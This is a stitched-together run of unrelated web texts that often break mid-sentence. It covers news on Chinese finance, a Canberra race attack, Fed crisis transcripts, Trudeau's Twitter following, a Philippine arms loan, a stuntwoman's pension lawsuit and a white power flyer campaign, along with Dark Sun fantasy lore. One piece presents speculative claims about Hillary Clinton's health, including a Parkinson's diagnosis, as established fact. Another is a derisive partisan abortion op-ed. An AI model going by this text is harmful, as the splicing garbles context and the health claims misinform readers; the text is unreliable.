While the plan is still in the proposal stage at this point, the MTA did manage to meet their goal of rolling out a new generation of WiFi-equipped buses on the streets of Queens earlier this year. And if the city's LinkNYC smart kiosk plan stays on track, there will be a total of 4,550 WiFi public WiFi hot spots above ground by the year 2020 as well.I was in a $6-an-hour motel in Oakdale, on Long Island, about 50 miles from Times Square. It was going to be my first time.
It was 1974, 40 years ago this week. I was trying, and failing, to file a story by computer — the first, I was told, in the history of The New York Times.
At my end, a bulky, 15-pound behemoth that I called “the blue monster.” (I believe its real name was the TeleRam Portabubble.) At the other, A. M. Rosenthal, The Times’s voluble editor, cackling over my frustration.
Make that “frustrations.” There had been many. As a sportswriter accustomed to filing from the road — in those days, by reading my stories over the phone to a transcriber in New York — I had been asked to take the blue monster on a trial run, to see how it operated under real conditions. So I took the computer to La Salle Military Academy, a prep school in Oakdale, where the New York Stars of the fledgling World Football League were staging their first training camp.A man identified as a Roseville police officer was pulled over by Ferndale Police on suspicion of being intoxicated on Nov. 9 at northbound Woodward Ave.
A supervisor was notified, who ordered the driver and his passenger, also suspected to be intoxicated, to be brought to the Ferndale Police Department and to later be driven home.
Ferndale Police was made aware of the incident on Nov. 17 and launched an internal investigation.
A criminal complaint was submitted against the driver for warrant for Operating Under the Influence; the case is currently active and ongoing.
“On the surface, this appears to be an example of poor decision making by one of our lieutenants,” Ferndale Police Chief Collins said. “As a police department, we take cases of operating and driving under the influence incredibly seriously. It’s a critical threat to public health and safety, and we as a department work regularly to educate the community to reduce instances of intoxicated driving.”
Collins reports that if the lieutenant's actions are found to be in violation of policy and procedure once the investigation is complete, the individual will face appropriate disciplinary measures.
He expects the investigation to be complete within the next week.
“Our jobs are complex and we trust our people to use sound judgment,” Collins said. “When somebody makes a call that is unsafe or not indicative of the department’s values and operations, we take that seriously and we act accordingly.”
Collins said within the next month, the entire department will go through an educational program about intoxicated driving. He says it is department protocol to regularly educate and retrain to ensure continual improvement.
“We will do everything in our power to ensure that this kind of error isn’t made again,” Collins said.Wu Xiaohui, Chairman of Anbang Reuters There's a rumor floating around Chinese social media that Wu Xiaohui, chairman of Anbang Insurance Group, has been detained by authorities in Beijing. Let's note, right away, that Anbang has denied this, and told The Real Deal that business is going on as usual. With that out of the way, though, it is also worth noting that in China, rumors like this shouldn't be dismissed so quickly. We've heard the "there's nothing to see here" kind of line from companies before, only to later learn that in fact there was something to see. Bank bosses and other executives sometimes go off the radar, and it's often kept quiet or outright denied even when they run publicly traded businesses. Once, a hedge fund manager was reportedly detained by the government for days as part of an insider trading investigation. When she emerged, she told the press she was hiking in the mountains and eating berries and it was all a big misunderstanding. Her husband had already told Reuters and Bloomberg News that she was meeting with "relevant industry authorities." Sometimes, like in that fund manager's case, the person reappears as if nothing happened. That could be because they're not the government's target anyway, but rather someone being interrogated along the way to a bigger fish. The government has its reasons, and the people can only speculate as to what they are. In Anbang's case, the speculation is proceeding along two lines. The first may be because of the company's investments abroad.Anbang is a massive financial firm that recently purchased the Waldorf Astoria, has done a string of real estate deals in Vancouver, and tried to buy Starwood Hotels for $14 billion. Wu, the chairman, also met with President Donald Trump's son in law and advisor, Jared Kushner, and almost bought a stake in the Kushner family's flagship real estate holding, 666 Fifth Avenue, which has been suffering losses under a crushing debt load. Anbang never struck the deal, though. Either way, this foreign asset gathering may have suddenly become a problem in China. Government watchdogs started looking into the insurance regulator earlier this month because the entire industry has been buying abroad, and Anbang's spree has been particularly flashy and large, so it makes sense that it would be of interest if Beijing wants to put an end to overseas land deals.
Have you ever heard of China Minsheng Bank?
Anbang, however, also has a tie-in to the broader Chinese banking system, thanks to its 20% stake in China Minsheng Bank— China's biggest private lender.
On Thursday the South China Morning Post reported that officials are suddenly focusing on what's called shadow banking — that is off the books lending that sits outside of the regular banking system — as part of an effort to cut back financial risk in the economy.
Beijing's fears about the industry were spelled out on Tuesday when "financial risks" were referenced twice in a statement from a Politburo meeting chaired by Chinese President Xi Jinping.
Every regulator is on the move. The central bank has started to shrink its balance sheet and is trying to unify rules for the asset management industry; securities chief Liu Shiyu has lashed out at listed companies for irregularities, and the China Insurance Regulatory Commission is tightening its grip on insurers after former chief Xiang Junbo was put under investigation.
The market is already reacting to this. China's stock market is sagging and bond yields are spiking. People are starting to wonder if this will sap liquidity from the entire banking system.
Minsheng, analysts say, could take a hit if the crackdown means it needs to move loans onto its books and start setting aside more money to protect against losses on those loans. "Regulators' tightening stance on shadow banking transactions will accelerate the migration of quasi-loan exposures in Minsheng's investment receivables / WMP books to its loan book, adding provisioning and capital pressure," wrote Alliance Bernstein. This would add to a growing list of problems at Minsheng. The bank's first-quarter earnings this week were a mess. Despite growing loans by 18.1% and assets by 23.6% from the same time last year, the bank's net interest margin — the difference between interest it collects on loans and the money it's paying out — fell to 1.43% from 2.11% over the same period. Net interest income fell 14.2% from last year.And, this month, Caixin reported that Minsheng had sold over $400 million of fake wealth management products. So far, the head of a branch in Beijing is under investigation for this.
That kind of Wild Wild West stuff may have been okay in China in 2014, before the stock market collapsed twice in a matter of months in 2015. But apparently not now.
Now the country may be playing an entirely different gameThe Chinese student community is reeling after the race-hate bashing of two students in separate incidents at the Woden Bus Interchange on Monday.
The 19-year-old male college students were set upon by a gang of up to 10 local teenagers after refusing to give them cigarettes.
Their assailants shouted abuse at them, screaming “F….g Chinese! Go back to your country!”
In the worst incident, a student was punched to the ground and continued to be attacked as he lay there, taking blows to his head and body. He suffered serious injuries and had to be taken to Canberra Hospital where he spent two nights before being released yesterday.
The police were called to the Interchange and it is believed one person has been charged.
Apparently the same group of teenagers are regularly at the interchange demanding cigarettes, and police were called this afternoon to another incident there.
The attacks have sparked fears among the many Chinese students in the ACT for their safety.
The ACT Government has been advised of the incidents and in an email to a community member said it was very concerned about the matter, and took the safety of all Canberrans seriously.
“We have been informed that ACT Policing responded to the two incidents that occurred on Monday night at the Woden Bus Interchange. A person has been charged over this incident, and ACT Policing enquiries are continuing. The Education Directorate is also aware of this matter and is offering support to those students involved,” it said.
It is believed police also conducted a session with Chinese students this afternoon to advise them on how to protect themselves and stay safe in Canberra.“The impact on the broader economy and financial markets of the problems in the subprime market seems likely to be contained,” Mr. Bernanke said in March.
Officials said at the time that they took particular comfort in the health of the largest banks. Even as the housing market deteriorated, the Fed approved acquisitions by some of the banks with the largest exposure to subprime mortgages, like Citigroup, Bank of America and the Cleveland-based National City.
By the early August meeting, Fed officials had moved from denial to puzzlement. American Home Mortgage, a leading subprime lender, had filed for bankruptcy the previous day. Countrywide Financial, another lender, was looking for a lifeline. The investment bank Bear Stearns had liquidated a pair of mortgage-focused hedge funds.
“It is an interesting question why what looks like $100 billion or so of credit losses in the subprime market has been reflected in multiple trillions of dollars of losses in paper wealth,” Mr. Bernanke said at the meeting, referring to the decline of global financial markets.
Three days later, the Fed moved from puzzlement to action.
It acted again the next week. There was, Mr. Bernanke said on a conference call on Thursday, “a certain amount of panic, a certain amount of markets seizing up, with good credits not being able to be financed, and a good deal of concern that there is a potential for some downward spiral in the markets that could threaten or harm the economy.”
The Fed’s response was relatively modest. It cut the interest rate on loans from its discount window, at which banks borrow from the central bank, by half a percentage point to 5.75 percent, and let banks borrow for up to 30 days rather than reapply daily. Then it arranged for four large banks — Bank of America, Citigroup, JPMorgan Chase and Wachovia — to take what it called symbolic loans of $500 million.
Mr. Bernanke wanted to avoid cutting an interest rate that banks paid each other, according to the transcripts, because he did not want to give the impression that the Fed was engaged in the rescue of investors, banks or borrowers that made bad decisions.Kiran Dhillon, CTVNews.ca
It’s been one year since Justin Trudeau was sworn in as the prime minister of Canada.
In that time, he has embraced social media and created a strong presence online, especially on Twitter.
Trudeau now boasts an impressive 2.6 million followers, 1.2 million of those gained after being sworn in as PM.
The prime minister is now one of the most followed world leaders on Twitter and is one of the few with more than two million followers.
How does the Twitter following of Prime Minister @JustinTrudeau compare to other world leaders? pic.twitter.com/RgBzqOyXSu — Twitter Canada (@TwitterCanada) October 6, 2016
Twitter Canada's Jennifer Hollett says the increase in followers can be attributed to Trudeau and his communications team being social-media friendly and tech-savvy.
"Justin Trudeau has really established his presence on Twitter as an international leader," Hollett says. "He’s quick to embrace new technology and by doing so, he speaks a new language, one that connects with young people and the old."
She adds:"He’s a natural on Twitter. Whether that is how he’s tweeting, how he’s engaging with Canadians, his use of photos or emojis, he really understands digital.”
Honoured to be sworn in today as 23rd Prime Minister of Canada. pic.twitter.com/El9ZDQgVtZ — Justin Trudeau (@JustinTrudeau) November 4, 2015
According to Twitter Canada, Trudeau has sent out hundreds of photos and videos during this past year. In fact, since joining the social media platform in March 2008, Trudeau has sent 3.3 times more tweets then former Prime Minister Stephen Harper.
The prime minister also uses social media to connect on a more personal level with Canadians.
Hollett says this means more Canadians feel they can relate to Trudeau and many feel they can interact with him on a daily basis.
“(Canadians can) see what he does day to day as well as tweet at him, ask questions, provide feedback," says Hollett. "You’re a tweet away from the prime minister and that’s exciting. It’s been exciting to see how Justin Trudeau and his team have been using Twitter to create engagement and give voice to Canadians."
The prime minister's commitment to Twitter seems to have paid off. Here's a look at some of his well-known followers.
World leaders:
Prime Minister Narendra Modi (@narendramodi) of India
Prime Minister Charles Michel (@CharlesMichel) of Belgium
President Enrique Peña Nieto (@EPN) of Mexico
Notable Canadians include:
P.K. Subban (@PKSubban1)
Lilly Singh (@IISuperwomanII)
Seth Rogen (@Sethrogen)
Genie Bouchard (@geniebouchard)
Ryan Reynolds (@VanCityReynolds)
source: Twitter Canada
Here’s a look at the top 5 most retweeted tweets sent out by the prime minister this year.
It’s #BellLetsTalk day! Let’s work to end the stigma around mental illness. RT this to donate 5¢ to Canadian mental health programs. — Justin Trudeau (@JustinTrudeau) January 27, 2016
So-called Islamic State has again proven itself an enemy of all Muslims. My thoughts are with victims of the Ramadan attacks in Iraq. — Justin Trudeau (@JustinTrudeau) July 3, 2016
Sending my best wishes to all those celebrating Eid al-Fitr in Canada & around the world!https://t.co/LxEgSZHiGr — Justin Trudeau (@JustinTrudeau) July 5, 2016
My mother is an inspiration. Her bravery in discussing mental health struggles has opened the door for others. RT to support #BellLetsTalk. — Justin Trudeau (@JustinTrudeau) January 27, 2016
And finally, while the prime minister tweets a lot, there's also many people tweeting at him. Here are some of the most popular emoticons posters used while mentioning the prime minister this year.BEIJING—Poly Technologies Inc., a controversial Chinese arms trader, will provide military equipment to the Philippines under a $500-million loan agreement between Beijing and Manila, according to the Philippines’ Defense Secretary Delfin Lorenzana.
Speaking at a press briefing on Sunday night, Lorenzana said the Chinese company provided a letter of intent for an arms supply deal.
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Poly Technologies officials met with President Duterte on Sunday, Lorenzana said.
‘Wide array’
Mr. Duterte was in Beijing to attend the two-day Belt and Road Forum for International Cooperation, joining delegates, including some heads of state, from 28 other countries.
Lorenzana said Poly Technologies was offering the Philippines “a wide array of defense equipment” for some of which the Chinese government offered a $500-million loan.
A subsidiary of China Poly Group Corp., Poly Technologies, was sanctioned by the United States in 2013 for violating the Iran, North Korea and Syria Nonproliferation Act.
The law imposes sanctions on private and public entities that provide equipment or technology that could have a “material contribution” to the development of weapons of mass destruction or cruise or ballistic missile systems to rogue states.
The sanctions on Poly Technologies were lifted in 2015.
Lorenzana said the Philippines would send a technical working group to China to look at the equipment being offered by Poly Technologies.
He could not say what weapons the Philippines needed, as these would depend on the recommendation of the Army, Navy and Air Force.
“We are not saying that we will buy from them or we will not buy from them, but if we need anything from the Chinese defense industry then we’re going to procure using the loan that they are going to offer to us,” Lorenzana said.
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Territorial defense
The Philippines needs warships and multirole jet fighters to defend its territory in the South China Sea.
China claims almost all of the South China Sea, a claim that the UN-backed Permanent Court of Arbitration in The Hague invalidated last year in a challenge brought by the Philippines after Beijing seized Panatag Shoal, a rich fishing ground off Zambales province, after a two-month maritime standoff in 2012.
China rejected the ruling, insisting on bilateral talks to settle rival territorial claims.
Brunei, Malaysia, Vietnam and Taiwan also have claims in the South China.
But while it offers talks, China is building artificial islands in the South China Sea and topping them with military facilities, including runways and missile batteries.
Unlike Vietnam, which has fought naval battles with China over territory in the South China Sea, the Philippines has nothing to defend its own territory in the globally important waterway.
Separate matters
Lorenzana, however, does not relate the South China Sea dispute with the modernization of the Philippine military.
“I think we should separate our dispute from the South China Sea from our relationship with the Chinese,” he said.
He said China also offered $14 million in December last year, although he did not clarify if this was also a loan.
He said the money would be used to purchase four fast boats, 200 sniper rifles and several hundred grenade launchers with ammunition—all of which would be delivered by the end of the year.
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Never say any dumb or undesirable thing to your Boss. Although we all know this, but at one time or another we do it to varying degrees. One must avoid saying such exhaustive things and by doing so you are giving a tremendous service to your boss as well as to your own professional person.
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the Pristine Tower’s power would be harnessed, and with the dulling of the sun from yellow to swollen red, he imbued his Champions with immortality and the ability to draw energy from life itself using obsidian orbs as their focus.
The Warbringer and the Cleansing Wars
Rajaat would send his Champions into the world with one purpose: to exterminate the races of the Rebirth. He deemed his own existence an abomination on the coming of the Green Age, and in secret, wished to return the world to that of the Blue Age. But first, he would wage bloody war on the world. The Champions set forth and laid waste to Athas. The verdant fields would turn to ash and desolation, leaving only a ravaged, withered husk in their wake.
The 15 Champions
1st Sacha of Arla “Curse of the Kobolds”
2nd Kalak “Ogre Doom”
3rd Dregoth “Ravager of Giants”
4th Myron of Yorum “Troll Scorcher” replaced by Manu of Deche “Troll Scorcher” (Hamanu)
5th Uyness of Waverly “Orc Plague” (Abalach-Re)
6th Gallard “Bane of Gnomes” (Nibenay)
7th Sielba “Destroyer of Pterrans”
8th Albeorn “Slayer of Elves” (Andropinis)
9th Tectuktitlay “Wemic Annihilator”
10th Keltis “Lizard Man Executioner” (Oronis)
11th Inenek “Aarakocra Scourge” (Lalali-Puy “The Oba”)
12th Wyan of Bodach “Pixie Blight”
13th Egendo “Butcher of Dwarves” replaced by Borys of Ebe “Butcher of Dwarves”
14th Daskinor “Goblin Death”
15th Kalid-Ma “Tari Killer”
The Champions Revolt
While the cleansing wars raged on (and some were successful in their purging), Rajaat’s plot would slowly be found out by his Champions. Rajaat had no intention in leaving his students in this world after the wars had reached their conclusion, and fearing their end would come at his hands, they staged a revolt against the sorcerer. Led by Borys of Ebe, they used an artifact known as the Dark Lens to trap Rajaat in a demi-plane known as the Black.
The Champions would begin to carve up the spoils of the Tyr region, and placed themselves on seats of power. They would become the sorcerer-kings and –queens, and held almost godlike reverence. In the wake of their own victory, however, the prison in which Rajaat resided became weakened, and threatened to spill the sorcerer back into existence.
Fearing their annihilation, the Champions would turn to Borys of Ebe to be the sole protector of the Rajaat’s prison. But the magic required to keep the magical binds strong would be too much, even for the powerful sorcerer-king. Their only choice was to use the Pristine Tower as their master once had, to transform Borys into something of greater power, a being capable of keeping the wards in place.
The Dragon of Tyr
Those Champions that rebelled against Rajaat harnessed the Pristine Tower one last time. The magics they unleashed upon Borys were complex and intricate, and the long process scorched the sun further. But at the end of the rituals, Borys would emerge in the form of a powerful Dragon—a creature unlike the world would ever see. The metamorphosis sent Borys into madness, and he began to rampage across Athas. His unbridled rage would be the final tipping point for the world, and it would become the truly barren wasteland that it is now.
The others retreated to their cities and barricaded themselves behind large city walls and countless troops, fearing the rage of the Dragon. It is unknown how long before Borys would finally regain some semblance of sanity, but by the time he had, the wards around Rajaat’s prison had weakened to near breaking point.
Borys would go forth into the Tyr region, and require a boon for the spells that would fuel the ritual. The spells required the life force of living souls to empower. The Dragon would demand 1,000 lives from those city-states, and those who refused to pay would be annihilated from the world. An age of slavery would erupt in the world, as countless creatures would live under the whip until the time the Dragon returned for his bounty.
While being the greatest threat the world would know, The Dragon was also its protector from the onslaught of Rajaat. Borys would be the Athas’ greatest threat and only hope. That is, until a group of adventurers who started in the thriving city-state of Tyr would go forth and turn the world on its head…
But that too, is a story for another time.
* * * *
Next time, we’ll take a peek into who is perhaps my favorite Champion of Rajaat, the dreaded Dregoth of Giustenal. Join me for “Darkness Ascending: The Dread King Dregoth”
I hope you’ve enjoyed learning some of the history behind Athas and its terrible beginnings. If you’ve any suggestions for future writings, feel free to lurk in the comments below. Thanks for reading, you son of a kank!
The Wanderer’s Journal – Crimson Dawn: The Champions of Rajaat (Guest Post)
Like this: Like Loading..."Apple continues to profit from Ericsson's technology without having a valid license in place," said Kasim Alfalahi, Chief Intellectual Property Officer at Ericsson. "Our technology is used in many features and functionality of today's communication devices. We are confident the courts in Germany, the UK and the Netherlands will be able to help us resolve this matter in a fair manner."
Ericsson has filed lawsuits against Apple in Germany, United Kingdom and the Netherlands after failing to reach a global licensing agreement with the company over both standard-essential and non-standardized patents.Ericsson claims that Apple continues to sell the iPhone, iPad and other products that infringe upon its patented technologies, some related to 2G and 4G LTE standards, even though its licensing agreement expired in January.Ericsson has been attempting to license its standard-essential patents with Apple on terms that are fair, reasonable and non-discriminatory (FRAND), but the two companies have failed to reach an agreement following over two years of negotiations. Unable to resolve the situation outside of the courtroom, Ericsson has since filed patent lawsuits against the iPhone maker in the United States, and now Europe, for mediation by the courts.Ericsson, the world's largest provider of mobile network equipment, originally filed two complaints with the U.S. International Trade Commission and seven complaints with the U.S. District Court for the Eastern District of Texas against Apple earlier this year. In late March, the ITC agreed to investigate the patent infringement claims, involving 41 wireless-related patents.Apple originally filed suit against Ericsson in January, arguing that it was demanding excessive royalties for patents not essential to LTE standards. Ericsson, which holds over 35,000 patents, countersued in a Texas courtroom just hours later, seeking an estimated $250 million to $750 million in royalties per year for Apple to continue licensing its patented wireless technologies.A man and woman at a bar in Billings, Mont., were so focused on their flirtations that they remained oblivious to three armed robbers holding up the bar Monday.
The Tap Inn released surveillance footage of the April 11 incident, showing multiple angles of the bar and casino. As the unidentified couple kissed and cuddled at the bar, three bandanna-wearing individuals stormed in demanding money. The frantic bartender and his patrons all put their hands in the air — save the pair of lovebirds.
They continued kissing while the robbers — two men and a woman — emptied the cash register feet away from the couple and swiped cash off the bar right in front of them.
The pair seemed to surface just in time to watch the robbers flee with an undisclosed amount of cash.
The bartender called 911 as the robbers peeled away, the AP reports, but police are still looking for the trio.Democratic Texas state Rep. Jessica Farrar thinks there's an equivalence between killing an unborn child and a man masturbating.
In an attempt to paint pro-life legislation as sexist, Farrar introduced a "satirical" measure to fine men $100 for their "masturbatory emissions." The bill cites each "emission" outside of a vagina "an act against an unborn child, and failing to preserve the sanctity of life."
Somebody missed the sex ed lesson during health class.
It gets even more nonsensical: The bill also states that doctors could refuse to perform vasectomies based on moral grounds, which is moronic since the equivalent of a vasectomy is a female getting her tubes tied. Doctors can and have refused to do both, because that's how the free market works. So, (1) this is not the same as abortion, and (2) there is no sexist component.
"Patients would be required to wait 24 hours before a procedure is performed, and doctors would be made to read a state-printed booklet, 'A Man's Right To Know,' to the patient," notes The Hill. "Doctors would also be required to perform a'medically-unnecessary digital rectal exam' and an MRI before performing vasectomies or colonoscopies or before prescribing Viagra."
Again, what does any of this have to do with killing an unborn child?
"Although HB 4260 is satirical, there is nothing funny about current health care restrictions for women and the very real legislation that is proposed every legislative session," ranted Farrar in a Facebook post. "Women are not laughing at state-imposed regulations and obstacles that interfere with their ability to legally access safe healthcare, and subject them to fake science and medically unnecessary procedures."
And by "healthcare," Farrar means the ability to crush the skull of and rip from limb to limb an unborn human. "Healthcare."
This is not only asinine, it's unoriginal. Feminists have long made these nonsensical comparisons to highlight some "sexist" motive to those who are in favor of preserving innocent, unborn life. Never mind the massive female backing of pro-life legislation; they must all be self-loathing sexists, anyway.A federal judge has dismissed former stuntwoman Leslie Hoffman’s lawsuit against the SAG Pension Plan, saying its decision to strip her of her occupational disability pension – and force her to repay $123,827 in SAG benefits – “was neither arbitrary nor capricious and was based on reasonable evidence.”
Hoffman said she plans to appeal, though she expects to go broke and lose her house long before an appeal is ever heard.
U.S. District Court Judge Manuel Real noted that his decision (read it here) to dismiss her case earlier this month was based in part on the fact that the Plan had revoked Hoffman’s benefits because it “relied on (Hoffman’s) various Internet profiles indicating that she had been employed in movies and shows as a stunt coordinator during the time she claimed to be totally disabled.”
Once one of Hollywood’s top stuntwomen, and the first to serve on the boards of directors of both SAG and AFTRA, Hoffman says a series of job-related injuries and concussions over her long career made it impossible for her to continue working.
In 2004, the SAG Plan gave her a disability pension for depression, but not for any lasting injuries she may have received from her stunt work. In 2009, she applied to convert her SAG disability pension into an occupational disability pension in order to receive the additional benefit of SAG health coverage. She was denied and filed a lawsuit to get the health benefits. Her suit was dismissed, only to see it reinstated by the appellate court after it found that she had not been given a “fair hearing.”
“Hoffman worked as a stunt actress in motion pictures, but ceased work … because of a variety of physical injuries,” the appellate court ruled in 2014. “In 2003, Hoffman was admitted for psychiatric treatment on two occasions and ultimately diagnosed with severe major depression. In 2004, the Social Security Administration awarded Hoffman disability benefits due to her depression. As a result, Hoffman became eligible for and eventually obtained a disability pension under the Plan. Five years later, Hoffman submitted an application to convert her disability pension to an ‘occupational disability pension’ in order to receive the additional benefit of health coverage.”
In order to qualify for an occupational disability benefit, however, she had to show she suffered from a total disability that occurred in the course of employment covered by the Plan. To support her claim, Hoffman presented the Plan with a Social Security report that described her back injury as “severe” and “degenerative” – evidence she says showed that her disability was not only emotional but physical and that it had been caused by years of stunt work.
In 2010, the Plan consulted with a doctor, who, without examining her, determined she indeed was disabled under the Plan — but only on the basis of mental illness and not because of a work-related injury. Hoffman appealed to the Plan’s Benefits Committee, which, according to the appellate court, “denied her appeal without consulting with a second medical professional.”
“Notably,” the appeals court ruled, “the district court acknowledged that the Plan erred in failing to obtain a second medical opinion in assessing her administrative appeal in violation of Employee Retirement Income Security Act regulations.”
The Plan then brought in more doctors to review her medical records – though none actually examined her – and found she was not totally disabled.
One of her own doctors, however, said she suffered from traumatic brain injury. Dr. J. Michael Uszler, an expert in the field, concluded that Hoffman had sustained the injury “most commonly clinically associated with head injury.”
Dr. Jeffrey Salberg, who she’d been seeing for years, agreed. In 2011 he wrote that she “remains disabled due to post concussive syndrome as a result of multiple head injuries sustained as a result of her employment of being a stuntwoman. She has had ongoing symptoms of the condition since I first began caring for her in 1998, and they have failed to improve after evaluation and treatment by specialists.” In 2012, he diagnosed Hoffman with “traumatic brain injury and “severe back, neck, knee and shoulder injuries … due to continuous traumas throughout her stunt career.”
That finding was confirmed by Dr. Daniel Amen, the famed head injury doctor. After reviewing SPECT scans of her brain in 2012, he wrote that “a brain injury pattern is seen on scans” and recommended that she “avoid any behaviors that further increase the risk a brain injury.”
The judge, however, sided with the Plan.“This Court has reviewed the administrative record and is satisfied that at least five of the independent, unrelated medical professionals were of the opinion that (Hoffman) was not totally disabled as defined by the Plan,” he ruled.
Given her history of mental and physical health issues, however, it’s doubtful any company would hire her or that any insurer would bond her for such work. Even so, the SAG Plan – and now the judge – think she’s ready to return to work as a Hollywood stunt coordinator and that the lives of cast and crew will be perfectly safe in her hands.
And because she’s been deemed to have been fully capable of coordinating dangerous stunts all this time that she’d been receiving disability payments, the Plan wants her to return all the benefits she’s received – plus interest.
In June 2015, the Plan sent her a letter saying it wants her to return the $123,827 she’d received in benefits because it “became aware that you have been holding yourself out as available to work as a stunt coordinator and have been engaged on certain projects as a stunt coordinator during the course of your claimed disability.”
The only proof they offered of this, however, were smudged printouts from her website – and from listings on her IMDb page they’d circled as evidence – that show that she’d been, or had been holding herself out as, a “stunt coordinator” while receiving SAG disability payments.
In fact, those “Internet profiles” the Plan and the judge site as “evidence” show nothing of the kind. Even a cursory review of the Plan’s own evidence against her shows that Frances Dee, the star of one of those projects – a short film called Far as the Eye Can See – had died in March 2004. That’s three months before Hoffman’s first SAG disability hearing – indisputable proof that the work had been completed before she began receiving her pension. And had they bothered to read the letter written by the film’s director, Roy McDonald, and the supporting documentation he sent Hoffman’s attorney, they would have seen that although it had been released in 2006, it had been shot in 1999, five full years before she began collecting SAG disability.
McDonald said he is shocked that the Plan would use his small film to take away Hoffman’s disability pension. “I thought that everyone in Hollywood knows that release dates are not the same as the dates films are shot,” he told Deadline. “This is a shame. She worked hard, tried to do the right thing, and this is what she gets.”
Two of the other projects cited as “evidence” by the Plan and the judge were Star Trek fan videos for which Hoffman received no pay. One of them, called Star Trek: New Voyages – and misidentified on IMDb as a “TV series” – was filmed near her parents’ home in New York, where she stayed while visiting the set. It was not a job, and it was anything but work.
Hoffman, who in her heyday had performed stunts in numerous episodes of real Star Trek TV sequels – Voyager and Deep Space Nine – was a welcome guest for the Trekkies making the fan webisodes. “She didn’t work and she wasn’t paid. None of us were. She came and played with us on her own dime,” the fan video’s art director, James Lowe, told Deadline. “She even paid her own air fare. I don’t know where they came up with the idea that she worked.”
The other Internet evidence was an IMDb entry that lists Hoffman as the “fight coordinator” for a 12-minute USC student film titled Dead Ballerina, which was written, directed, produced, edited and cast by the same person, who also did the all the cinematography, production design and sound mixing. And again she received no pay. They also relied on a posting on Hoffman’s own site in which she described herself as a stunt coordinator on another short Star Trek fan webisode – Starship Farragut – for which she again received no pay.After Hillary Clinton’s collapse at a 9/11 memorial on Sunday, Wikileaks posted an email showing Hillary’s health issues were potentially life-threatening, and both older and deeper than the “pneumonia” her campaign claimed caused her sickness.
The email is from Hillary’s long time aide Huma Abedin, with an article on Hillary’s life threatening “Sinus Thrombosis.”
Hillary #Clinton email from aid Huma Abedin with article on her "life threatening" Sinus Thrombosis https://t.co/ctIWesLgzh #HillarysHealth — WikiLeaks (@wikileaks) September 11, 2016
Huma sent Hillary an article describing Hillary’s condition as Cerebral Venous Sinus Thombosis (CVST). CVST is the presence of acute thrombosis (a blood clot) in the dural venous sinuses, which drain blood from the brain. Symptoms may include headaches, seizures, abnormal vision and any of the symptoms of stroke, such as weakness of the face and limbs on one side of the body. From WebMD:
Cavernous sinus thrombosis is a very rare, life-threatening condition that can affect adults and children. In cavernous sinus thrombosis, a blood clot blocks a vein that runs through a hollow space underneath the brain and behind the eye sockets. These veins carry blood from the face and head back to the heart. The cause of cavernous sinus thrombosis is usually an infection. But other factors may play a role. Cavernous sinus thrombosis is a serious condition. It causes death in up to 30% of cases. Symptoms of Cavernous Sinus Thrombosis Symptoms of cavernous sinus thrombosis may include:
This comes after the mainstream media has been repeating Hillary Clinton’s claim that she is merely sick with pneumonia and not a life threatening injury. After weeks of denying that Hillary was even sick despite her coughing fits and calling anyone who said so a “conspiracy theorist,” after Hillary fell down in public 9/11 memorial the mainstream media needed a new narrative.
At first, Hillary’s campaign said she “overheated,” despite the temperature not being hot out.
DCLeaks.com recently revealed an email to Colin Powell that proves Hillary has had trouble standing before. In an email dated March 14, 2015, Democratic financier Jeffery Leeds told George W. Bush’s former secretary of state, “Sheldon Whitehouse, who is a huge Clinton supporter, said they were both giving speeches at the same event a few months back and she could barely climb the podium steps,”
Wikileaks has previously leaked emails where Hillary’s aides were researching provigil a drug used for treating narcolepsy and patients with Alzheimer’s, Parkinson’s, and Multiple Sclerosis who have excessive sleepiness.”
Popular author Mike Cernovich has released a doctor’s evaluation that Hillary does indeed have Parkinson’s disease.
We have now seen a new milestone in mainstream media deception. Never has the media fought so hard to debunk and outright lie about a presidential candidate obvious health problems, to the point where the media changes its narrative multiple times in a day, parroting whatever the Clinton campaign tells them to repeat.
It’s going to bite them in the ass in the end though, as people see the mainstream media at face value for what it is – a PR rep for the military-industrial complex and it’s puppet politicians.White Power Group Takes Aim at Boston University’s Saida Grundy
Flyers on campus and a hashtag campaign from a white power group call for the assistant professor to be fired.
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Updated at 2:20 p.m.: Boston University spokesman Colin Riley said that the school’s police are investigating the posters and will prosecute to the fullest extent of the law if they make an arrest.
Previously: A white supremacist group known as the National Youth Front has launched a campaign aimed at Boston University Assistant Professor Saida Grundy. The group, according to the Southern Poverty Law Center, is a recent offshoot of the American Freedom Party and specifically targets college campuses.
A July 1 post on the National Youth Front’s website details the so-called #FIREGRUNDY campaign and shows several pictures of flyers posted throughout the campus, both indoors and outdoors. The flyers state “Black Privilege Means Not Being Fired After Saying That White College Males Are A Problem Population.”
Previously, Professor Grundy, who is part of the university’s sociology department, has come under fire for controversial remarks on social media.
The American Freedom Party, the parent group of the National Youth Front, according to the Southern Poverty Law Center, “is a political party initially established by racist Southern California skinheads that aims to deport immigrants and return the United States to white rule. The group is now led by a coterie of prominent white nationalists, including corporate lawyer William D. Johnson, virulent anti-Semite Kevin MacDonald and white nationalist radio host James Edwards. David Duke’s former right-hand man, Jamie Kelso, helps with organizing. The party has big plans to run candidates nationwide.”
In an article from earlier this year, the SPLC reports that the National Youth Front is intended to boost recruitment efforts for the American Freedom Party by focusing on colleges. Previous stunts include hanging posters on Arizona State University’s campus that called for a war on immigration. “Using the most recent covers of Charlie Hebdo as a backdrop, the flier was intended to be a call to action and an ominous warning: ‘America is ours, and we are tomorrow,’” the SPLC writes.
With regard to Boston University, the National Youth Front writes on its website:
It seems like every day anti-White hate is being spewed from some hate filled professor without consequence. The trend of terrifying defamation has become unfathomable and intolerable. National Youth Front has already made a stand at ASU over their anti-White hate course entitled “The Problem With Whiteness.” Today we have continued to take a stand. Operation Grumpy Grundy was completed earlier this morning, calling on Boston University to fire Saida Grundy over her anti-White hate filled remarks about the entire White male student body on social media.
Boston reached out to Boston University for comment and will update the story with any developments.0
It’s no secret that South Park creators Trey Parker and Matt Stone craft each new episode from inception to air in six days time, delivering each installment within hours of airtime; the documentary chronicling their process is even called The Making of South Park: 6 Days to Air. Well for the first time in the show’s history, Parker and Stone have missed that deadline due to a power outage in the studio, and a new episode of South Park will not be airing this evening. Hit the jump for more, including when you can see “Goth Kids 3: Dawn of the Posers.”
On Tuesday night, South Park Studios lost power and Parker and Stone were unable to complete the newest episode, “Goth Kids 3: Dawn of the Posers,” in time for tonight’s air date. Parker released the following statement on the show’s website:
“It sucks to miss an air date but after all these years of tempting fate by delivering the show last minute, I guess it was bound to happen.”
